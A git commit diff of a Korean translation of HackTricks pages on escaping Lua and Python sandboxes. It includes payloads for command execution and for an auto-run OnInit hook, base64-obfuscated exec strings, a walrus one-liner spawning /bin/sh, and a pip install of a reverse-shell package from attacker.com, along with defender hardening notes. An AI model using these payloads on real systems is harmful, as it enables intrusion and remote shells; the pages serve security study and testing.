Translated ['src/macos-hardening/macos-security-and-privilege-escalation

This commit is contained in:
Translator 2025-09-03 11:39:17 +00:00
parent 134986a1f5
commit 7cda008c7d
9 changed files with 333 additions and 1837 deletions

View File

@ -2,17 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
이 페이지는 애플리케이션(특히 game clients, plugins, 또는 in-app scripting engines)에 내장된 Lua "sandboxes"를 열거하고 탈출하는 실전 기법을 모아놓은 것이다. 많은 엔진이 제한된 Lua 환경을 노출하지만, 강력한 globals에 접근을 허용해 io/os 같은 것이 열려 있거나 bytecode loaders가 노출되면 임의 명령 실행이나 심지어 네이티브 메모리 손상까지 가능하게 되는 경우가 있다.
이 페이지는 애플리케이션(특히 game clients, plugins, 또는 in-app scripting engines)에 내장된 Lua "sandboxes"를 열거하고 탈출하는 실용적인 기법들을 모아둡니다. 많은 엔진이 제한된 Lua 환경을 노출하지만, 바이트코드 로더가 노출되는 경우 임의 명령 실행이나 네이티브 메모리 손상까지 가능한 강력한 globals에 접근할 수 있도록 남겨두는 경우가 많습니다.
Key ideas:
- VM을 미지의 환경으로 취급하라: _G를 열거하고 어떤 위험한 primitives에 접근할 수 있는지 발견하라.
- stdout/print가 차단된 경우, 결과를 관찰하기 위해 in-VM UI/IPC 채널을 출력 싱크로 남용하라.
- io/os가 노출되어 있다면, 보통 io.popen, os.execute를 통해 직접 명령 실행이 가능하다.
- load/loadstring/loadfile가 노출되어 있다면, 조작된 Lua bytecode를 실행해 일부 버전(≤5.1의 verifier는 우회 가능; 5.2는 verifier 제거)에서 메모리 안전성을 무너뜨려 고급 익스플로잇을 가능하게 할 수 있다.
- VM을 알 수 없는 환경으로 취급하세요: _G를 열거하여 어떤 위험한 primitives에 접근 가능한지 확인합니다.
- stdout/print이 차단된 경우, 결과를 관찰하기 위해 in-VM UI/IPC 채널을 출력 싱크로 악용하세요.
- io/os가 노출되어 있으면, 보통 직접 명령 실행(io.popen, os.execute)이 가능합니다.
- load/loadstring/loadfile이 노출되어 있으면, 조작된 Lua bytecode 실행으로 일부 버전에서 메모리 안전성이 무너질 수 있습니다 (≤5.1의 verifier는 우회 가능; 5.2는 verifier를 제거), 이를 통해 고급 익스플로잇이 가능해집니다.
## Enumerate the sandboxed environment
- 접근 가능한 테이블/함수들을 목록화하기 위해 global environment를 덤프하라:
- Dump the global environment to inventory reachable tables/functions:
```lua
-- Minimal _G dumper for any Lua sandbox with some output primitive `out`
local function dump_globals(out)
@ -22,7 +22,7 @@ out(tostring(k) .. " = " .. tostring(v))
end
end
```
- print()를 사용할 수 없는 경우, in-VM 채널을 다른 용도로 전용하세요. 사운드 호출 후에만 채팅 출력이 작동하는 MMO housing script VM의 예로, 다음은 신뢰할 수 있는 출력 함수를 만듭니다:
- print()이 사용 불가능하면 in-VM 채널을 재사용하세요. MMO housing script VM의 예로, 채팅 출력은 사운드 호출 이후에만 동작합니다; 다음은 신뢰할 수 있는 출력 함수를 구축하는 예입니다:
```lua
-- Build an output channel using in-game primitives
local function ButlerOut(label)
@ -39,11 +39,11 @@ local out = ButlerOut(1)
dump_globals(out)
end
```
대상에 대해 이 패턴을 일반화하세요: 문자열을 입력받는 textbox, toast, logger 또는 UI callback은 정보수집을 위한 stdout으로 사용할 수 있습니다.
대상에 대해 이 패턴을 일반화하라: 문자열을 허용하는 모든 textbox, toast, logger, 또는 UI callback은 reconnaissance를 위한 stdout 역할을 할 수 있다.
## io/os가 노출된 경우 직접 명령 실행
## io/os가 노출된 경우 직접적인 command execution
만약 sandbox가 여전히 표준 라이브러리 io 또는 os를 노출하고 있다면, 대개 즉시 명령을 실행할 수 있습니다:
sandbox가 여전히 표준 라이브러리인 io or os를 노출하고 있다면, 아마 즉시 command execution이 가능할 것이다:
```lua
-- Windows example
io.popen("calc.exe")
@ -53,27 +53,27 @@ os.execute("/usr/bin/id")
io.popen("/bin/sh -c 'id'")
```
참고:
- 실행은 client process 내부에서 발생합니다. external debuggers를 차단하는 많은 anti-cheat/antidebug 계층이 in-VM process creation을 막지 못할 수 있습니다.
- 또한 확인: package.loadlib (arbitrary DLL/.so loading), require with native modules, LuaJIT's ffi (if present), and the debug library (can raise privileges inside the VM).
- 실행은 client 프로세스 내부에서 발생합니다; 외부 디버거를 차단하는 많은 anti-cheat/antidebug 계층은 in-VM process 생성은 막지 못합니다.
- 또한 확인할 것: package.loadlib (임의의 DLL/.so 로딩), require with native modules, LuaJIT's ffi (존재하는 경우), 그리고 debug library (VM 내부에서 권한 상승을 일으킬 수 있음).
## Zero-click triggers via auto-run callbacks
호스트 애플리케이션이 scripts를 clients로 푸시하고 VM이 auto-run hooks (예: OnInit/OnLoad/OnEnter)를 노출하면, 스크립트가 로드되는 즉시 drive-by compromise를 위해 payload를 거기에 배치하세요:
호스트 애플리케이션이 clients에 스크립트를 푸시하고 VM이 auto-run hooks를 노출한다면(예: OnInit/OnLoad/OnEnter), 스크립트가 로드되자마자 drive-by compromise를 위해 payload를 그곳에 배치하세요:
```lua
function OnInit()
io.popen("calc.exe") -- or any command
end
```
스크립트가 클라이언트로 전송되어 자동으로 실행될 때, OnLoad, OnEnter 등의 동등한 콜백이 이 기법을 일반화합니다.
Any equivalent callback (OnLoad, OnEnter, etc.) generalizes this technique when scripts are transmitted and executed on the client automatically.
## recon 중 찾아야 할 위험한 프리미티브
## Recon 동안 찾아야 할 위험한 프리미티브
During _G enumeration, specifically look for:
- io, os: io.popen, os.execute, 파일 I/O, 환경 변수 접근.
- load, loadstring, loadfile, dofile: 소스 또는 바이트코드 실행; 신뢰할 수 없는 바이트코드 로딩 지원.
- io, os: io.popen, os.execute, 파일 I/O, 환경 접근.
- load, loadstring, loadfile, dofile: 소스 또는 바이트코드 실행; 신뢰할 수 없는 바이트코드 로딩을 허용.
- package, package.loadlib, require: 동적 라이브러리 로딩 및 모듈 인터페이스.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, 및 hooks.
- LuaJIT-only: ffi.cdef, ffi.load를 사용해 네이티브 코드를 직접 호출.
- debug: setfenv/getfenv (≤5.1), getupvalue/setupvalue, getinfo, 및 .
- LuaJIT-only: ffi.cdef, ffi.load to call native code directly.
Minimal usage examples (if reachable):
```lua
@ -90,20 +90,20 @@ print(g())
local mylib = package.loadlib("./libfoo.so", "luaopen_foo")
local foo = mylib()
```
## Optional escalation: abusing Lua bytecode loaders
## 선택적 권한 상승: Lua bytecode 로더 악용
When load/loadstring/loadfile are reachable but io/os are restricted, execution of crafted Lua bytecode can lead to memory disclosure and corruption primitives. Key facts:
- Lua ≤ 5.1 shipped a bytecode verifier that has known bypasses.
- Lua 5.2 removed the verifier entirely (official stance: applications should just reject precompiled chunks), widening the attack surface if bytecode loading is not prohibited.
- Workflows typically: leak pointers via in-VM output, craft bytecode to create type confusions (e.g., around FORLOOP or other opcodes), then pivot to arbitrary read/write or native code execution.
load/loadstring/loadfile가 접근 가능하지만 io/os가 제한된 경우, 조작된 Lua bytecode를 실행하면 메모리 노출 및 손상 프리미티브로 이어질 수 있습니다. 주요 내용:
- Lua ≤ 5.1은 알려진 우회가 있는 bytecode verifier를 포함하고 있었습니다.
- Lua 5.2는 verifier를 완전히 제거했습니다(공식 입장: 애플리케이션은 precompiled chunks를 거부해야 함). 따라서 bytecode loading이 금지되지 않으면 공격 표면이 넓어집니다.
- 일반적인 워크플로: in-VM 출력으로 포인터를 leak한 뒤, bytecode를 만들어 type confusions(예: FORLOOP 주변이나 다른 opcodes 관련)를 유발하고, 그다음 arbitrary read/write나 native code execution으로 전환합니다.
이 경로는 엔진/버전별(engine/version-specific) 특성이 강하고 RE가 필요하다. 심층 분석, exploitation primitives, 게임 내 예제 gadgetry 등은 아래 references를 참조하라.
이 경로는 engine/version-specific하며 RE가 필요합니다. 심층 분석, exploitation primitives 및 게임에서의 예제 가젯은 참고문헌을 참조하세요.
## Detection and hardening notes (for defenders)
## 탐지 및 강화 노트 (수비자용)
- Server side: 사용자 스크립트를 거부하거나 재작성; 안전한 API만을 allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi를 제거하거나 bind-empty로 처리.
- Client side: minimal _ENV로 Lua를 실행; bytecode loading 금지; 엄격한 bytecode verifier나 서명 검사를 재도입; 클라이언트 프로세스에서의 프로세스 생성 차단.
- Telemetry: script load 직후 gameclient → child process creation에 대해 경보; UI/chat/script 이벤트와 상관관계 분석.
- Server side: 사용자 스크립트를 거부하거나 재작성; 안전한 API allowlist; io, os, load/loadstring/loadfile/dofile, package.loadlib, debug, ffi를 제거하거나 빈 바인딩으로 대체.
- Client side: 최소화된 _ENV로 Lua 실행; bytecode loading 금지; 엄격한 bytecode verifier 또는 서명 검사 재도입; 클라이언트 프로세스에서의 프로세스 생성 차단.
- Telemetry: script load 직후 gameclient → 자식 프로세스 생성에 대해 경보; UI/chat/script 이벤트와 상관관계 분석.
## References

View File

@ -1,13 +1,13 @@
# Python sandboxes 우회하기
# Bypass Python sandboxes
{{#include ../../../banners/hacktricks-training.md}}
다음은 python sandbox 보호를 우회하고 임의의 명령을 실행하기 위한 몇 가지 트릭입니다.
다음은 python sandbox 보호를 우회하여 임의의 명령을 실행할 수 있는 몇 가지 트릭입니다.
## 명령 실행 라이브러리
가장 먼저 알아야 할 것은 이미 import된 라이브러리로 직접 코드를 실행할 수 있는지, 또는 다음 라이브러리들을 import할 수 있는지 여부입니다:
가장 먼저 확인해야 할 것은 이미 import된 라이브러리로 직접 코드를 실행할 수 있는지, 또는 아래 라이브러리들 중 어느 것을 import할 수 있는지입니다:
```python
os.system("ls")
os.popen("ls").read()
@ -40,21 +40,21 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Remember that the _**open**_ and _**read**_ functions can be useful to **read files** inside the python sandbox and to **write some code** that you could **execute** to **bypass** the sandbox.
Remember that the _**open**_ and _**read**_ functions can be useful to **python sandbox 안에서 파일을 읽거나 실행할 코드를 작성해 그것을 bypass하는 데**.
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 크래시하기 전에 python 코드를 실행할 수 있게 합니다.
> [!CAUTION] > **Python2 input()** 함수는 프로그램이 크래시되기 전에 python 코드를 실행할 수 있습니다.
Python은 **현재 디렉토리에서 먼저 라이브러리를 로드**하려고 합니다 (다음 명령은 python이 모듈을 로드하는 위치를 출력합니다): `python3 -c 'import sys; print(sys.path)'`
Python은 **현재 디렉터리에서 먼저 라이브러리를 로드하려고 합니다** (다음 명령은 python이 모듈을 어디서 로드하는지 출력합니다): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## 기본으로 설치된 python 패키지로 pickle sandbox를 Bypass
## 기본 설치된 python 패키지로 pickle sandbox bypass
### 기본 패키지
You can find a **list of pre-installed** packages here: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
Note that from a pickle you can make the python env **import arbitrary libraries** installed in the system.\
For example, the following pickle, when loaded, is going to import the pip library to use it:
**사전 설치된 패키지 목록**은 여기에서 확인할 수 있습니다: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
pickle을 통해 python env가 시스템에 설치된 라이브러리를 **import arbitrary libraries** 하도록 만들 수 있다는 점을 주의하세요.\
예를 들어, 다음 pickle은 로드될 때 pip 라이브러리를 import하여 사용할 것입니다:
```python
#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
@ -67,32 +67,32 @@ return (pip.main,(["list"],))
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
pickle이 어떻게 동작하는지에 대한 자세한 내용은 다음을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
pickle의 동작 방식에 대한 자세한 정보는 다음을 확인하세요: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
### Pip package
### Pip 패키지
트릭 공유자: **@isHaacK**
트릭 공: **@isHaacK**
만약 `pip` 또는 `pip.main()`에 접근할 수 있다면 임의의 패키지를 설치하고 다음을 호출하여 reverse shell을 얻을 수 있습니다:
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
여기에서 reverse shell을 생성하는 패키지를 다운로드할 수 있습니다. 사용하기 전에 **압축을 풀고, `setup.py`를 수정하여 reverse shell의 IP를 넣어야 합니다**:
You can download the package to create the reverse shell here. Please, note that before using it you should **decompress it, change the `setup.py`, and put your IP for the reverse shell**:
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!TIP]
> 이 패키지 이름은 `Reverse`입니다. 그러나 reverse shell에서 나갈 때 설치의 나머지 과정이 실패하도록 특별히 설계되어 있으므로, 떠날 때 서버에 **추가적인 python 패키지가 설치된 채로 남지 않습니다**.
> This package is called `Reverse`. However, it was specially crafted so that when you exit the reverse shell the rest of the installation will fail, so you **won't leave any extra python package installed on the server** when you leave.
## Eval-ing python code
> [!WARNING]
> exec는 멀티라인 문자열과 ";"를 허용하지만 eval은 허용하지 않습니다 (walrus operator를 확인하세요)
> Note that exec allows multiline strings and ";", but eval doesn't (check walrus operator)
특정 문자가 금지된 경우 **hex/octal/B64** 표현을 사용하여 제약을 **bypass**할 수 있습니다:
If certain characters are forbidden you can use the **hex/octal/B64** representation to **bypass** the restriction:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -113,7 +113,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### python code를 eval할 수 있게 해주는 다른 라이브러리들
### eval python code를 허용하는 다른 라이브러리
```python
#Pandas
import pandas as pd
@ -127,15 +127,15 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
또한 PDF 생성기에서 발생한 실제 sandboxed evaluator escape 사례도 참조하세요:
또한 PDF 생성기에서 발생한 실전형 샌드박스 평가기 탈출 사례도 참고하세요:
- ReportLab/xhtml2pdf triple-bracket [[[...]]] expression evaluation → RCE (CVE-2023-33733). 이 취약점은 rl_safe_eval을 악용해 평가된 속성(예: font color)으로부터 function.__globals__와 os.system에 접근하고, 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
- ReportLab/xhtml2pdf triple-bracket [[[...]]] 표현식 평가 → RCE (CVE-2023-33733). rl_safe_eval을 악용하여 평가된 속성(예: 폰트 색상)으로부터 function.__globals__와 os.system에 접근하고, 렌더링을 안정적으로 유지하기 위해 유효한 값을 반환합니다.
{{#ref}}
reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
{{#endref}}
## 연산자 간단한 요령
## 연산자 간단한 요령
```python
# walrus operator allows generating variable inside a list
## everything will be executed in order
@ -144,9 +144,9 @@ reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
## 인코딩(UTF-7)을 통한 보호 우회
## 인코딩을 통한 보호 우회 (UFT-7)
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7을 사용하여 표면상 sandbox 내부에서 임의의 python 코드를 로드하고 실행합니다:
[**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy)에서는 UFT-7이 겉보기상의 sandbox 내부에서 임의의 python 코드를 로드하고 실행하는 데 사용됩니다:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -157,13 +157,13 @@ return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()
```
다른 인코딩(예: `raw_unicode_escape`, `unicode_escape`)을 사용해 이를 우회할 수도 있습니다.
다른 인코딩(예: `raw_unicode_escape` `unicode_escape`)을 사용해 이를 우회할 수도 있습니다.
## Python에서 호출 없이 실행
## Python 호출 없이 실행
만약 당신이 **호출을 허용하지 않는 python jail** 안에 있다면, 여전히 **임의의 함수, 코드** 및 **명령**을 실행할 방법이 몇 가지 있습니다.
만약 당신이 python jail 안에 있어서 **호출을 허용하지 않는다면**, 여전히 **임의의 함수, 코드 실행** 및 **명령**을 실행할 방법이 있습니다.
### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator)
### [decorators]로 하는 RCE(https://docs.python.org/3/glossary.html#term-decorator)
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@ -185,13 +185,13 @@ X = exec(X)
@'__import__("os").system("sh")'.format
class _:pass
```
### RCE creating objects and overloading
### RCE: object 생성 및 overloading
만약 **declare a class**하고 그 클래스의 **create an object**를 만들 수 있다면, 직접 호출할 **needing to call them directly** 없이 **triggered**될 수 있는 **write/overwrite different methods**를 작성하거나 덮어쓸 수 있습니다.
만약 **class를 선언할 수** 있고 그 class의 **object를 생성할 수 있다면**, 직접 호출할 필요 없이 **write/overwrite된 다양한 methods가** **trigger되도록** 만들 수 있습니다.
#### RCE with custom classes
#### custom classes를 이용한 RCE
일부 **class methods**를 (_by overwriting existing class methods or creating a new class_) 수정하여, 직접 호출하지 않고 **triggered**될 때 **execute arbitrary code**하도록 만들 수 있습니다.
일부 **class methods**를 수정하여 (_기존 class methods를 overwrite하거나 새로운 class를 생성하는 방식으로_) 직접 호출하지 않아도 **trigger될 때 execute arbitrary code**하도록 만들 수 있습니다.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -243,7 +243,7 @@ __ixor__ (k ^= 'import os; os.system("sh")')
```
#### [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)로 객체 생성
metaclasses가 허용하는 핵심은 대상 클래스를 metaclass로 하는 새 클래스를 만들어, **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**니다.
metaclasses가 허용하는 핵심은 **생성자를 직접 호출하지 않고 클래스의 인스턴스를 만드는 것**인데, 이는 대상 클래스를 메타클래스로 하는 새로운 클래스를 생성함으로써 가능합니다.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -258,9 +258,9 @@ Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
#### 예외로 객체 생성하기
#### 예외를 사용한 객체 생성
**exception**이 발생하면 생성자를 직접 호출할 필요 없이 **Exception** 객체가 **생성**됩니다 (트릭: [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
예외가 **발생하면** **Exception** 객체가 **생성됩니다**, 생성자를 직접 호출할 필요 없이 (트릭 출처: [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -302,7 +302,7 @@ __iadd__ = eval
__builtins__.__import__ = X
{}[1337]
```
### builtins 도움말 및 라이선스가 포함된 파일 읽기
### builtins help & 라이선스가 포함된 파일 읽기
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
@ -316,18 +316,17 @@ pass
- [**Builtins functions of python2**](https://docs.python.org/2/library/functions.html)
- [**Builtins functions of python3**](https://docs.python.org/3/library/functions.html)
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (여기서는 마지막 섹션에 나온 다른 문자열 표현도 사용할 수 있습니다):
만약 **`__builtins__`** 객체에 접근할 수 있다면 라이브러리를 import할 수 있습니다 (마지막 섹션에 나온 다른 문자열 표현도 여기서 사용할 수 있다는 점에 유의하세요):
```python
__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")
```
### 빌트인 없음
`__builtins__`가 없으면 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다. **모든 전역 함수**(예: `open`, `import`, `print`...)가 **로딩되지 않기 때문입니다**.\
`__builtins__`이 없으면 `open`, `import`, `print`... 같은 **모든 전역 함수**가 로드되지 않기 때문에 어떤 것도 import할 수 없고 파일을 읽거나 쓸 수도 없습니다.\
하지만, **기본적으로 python은 많은 모듈을 메모리에 import합니다**. 이러한 모듈들은 겉보기에는 무해해 보일 수 있지만, 일부는 내부에 **위험한 기능들**을 import하고 있어 이를 통해 심지어 **arbitrary code execution**을 얻을 수 있습니다.
하지만, **by default python imports a lot of modules in memory**. 이러한 모듈들은 겉보기에는 무해해 보일 수 있지만, 그중 일부는 내부에 **also importing dangerous** functionalities를 포함하고 있어 접근하면 심지어 **arbitrary code execution**을 얻을 수 있습니다.
다음 예제들에서는 로드된 이들 일부 "**benign**" 모듈을 어떻게 **abuse**하여 내부의 **dangerous** **functionalities**에 **access**하는지 관찰할 수 있습니다.
다음 예제들에서는 로드된 이들 "**겉보기에는 무해한**" 모듈들 중 일부를 어떻게 **남용**하여 내부의 **위험한** **기능들**에 **접근**하는지 관찰할 수 있습니다.
**Python2**
```python
@ -369,7 +368,7 @@ get_flag.__globals__['__builtins__']
# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) **builtins**를 찾을 수 있는 수십/**수백**의 **장소**를 찾기 위해.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 아래에는 **builtins**를 찾을 수 있는 수십/**수백**의 **장소**를 찾아내는 더 큰 함수가 있습니다.
#### Python2 and Python3
```python
@ -387,7 +386,7 @@ __builtins__["__import__"]("os").system("ls")
```
## Globals 및 locals
**`globals`**와 **`locals`**를 확인하는 것은 무엇에 접근할 수 있는지 알 수 있는 좋은 방법이다.
**`globals`**와 **`locals`**를 확인하는 것은 무엇에 접근할 수 있는지 파악하는 좋은 방법이다.
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
@ -411,15 +410,15 @@ class_obj.__init__.__globals__
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) 전역 **globals**를 찾을 수 있는 수십/**수백**개의 **장소**를 찾기 위한 더 큰 함수가 아래에 있습니다.
[**Below there is a bigger function**](#recursive-search-of-builtins-globals) to find tens/**hundreds** of **places** were you can find the **globals**.
## Discover Arbitrary Execution
## 임의 실행 발견
여기서는 **더 위험한 기능들이 로드된 것**을 쉽게 발견하는 방법을 설명하고, 더 신뢰할 수 있는 익스플로잇을 제안합니다.
여기서는 **더 위험한 기능들이 로드된 것**을 쉽게 발견하는 방법을 설명하고, 더 신뢰할 만한 익스플로잇을 제안하려 합니다.
#### Accessing subclasses with bypasses
#### subclasses에 bypasses로 접근하기
이 기법에서 가장 민감한 부분 중 하나는 기본 **base subclasses**에 접근할 수 있는 것입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용해 수행했지만, **다른 가능한 방법들**도 있습니다:
이 기술에서 가장 민감한 부분 중 하나는 **access the base subclasses**에 접근할 수 있는지입니다. 이전 예제에서는 `''.__class__.__base__.__subclasses__()`를 사용해 수행했지만 **다른 가능한 방법들**도 있습니다:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -449,16 +448,16 @@ defined_func.__class__.__base__.__subclasses__()
```
### 로드된 위험한 라이브러리 찾기
예를 들어, 라이브러리 **`sys`**를 이용하면 **임의의 라이브러리를 import할 수 있다**는 것을 알면, **내부에서 sys를 import한 모든 로드된 모듈**을 검색할 수 있습니다:
예를 들어, 라이브러리 **`sys`** 를 사용하면 **import arbitrary libraries** 할 수 있다는 사실을 알고 있다면, 내부에서 sys를 import한 모든 **modules loaded that have imported sys inside of them** 검색할 수 있습니다:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
많은 것들이 있지만, 명령을 실행하려면 **하나만 있으면 됩니다**:
많은 것들이 있지만, 명령을 실행하기 위해 **하나만 있으면 됩니다**:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
우리는 우리가 **명령을 실행할 수 있다고 아는** **다른 라이브러리**에도 같은 작업을 수행할 수 있습니다:
우리는 **다른 라이브러리들****명령을 실행하는 데** 사용할 수 있는 것들에 대해서도 같은 작업을 할 수 있습니다:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -493,7 +492,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
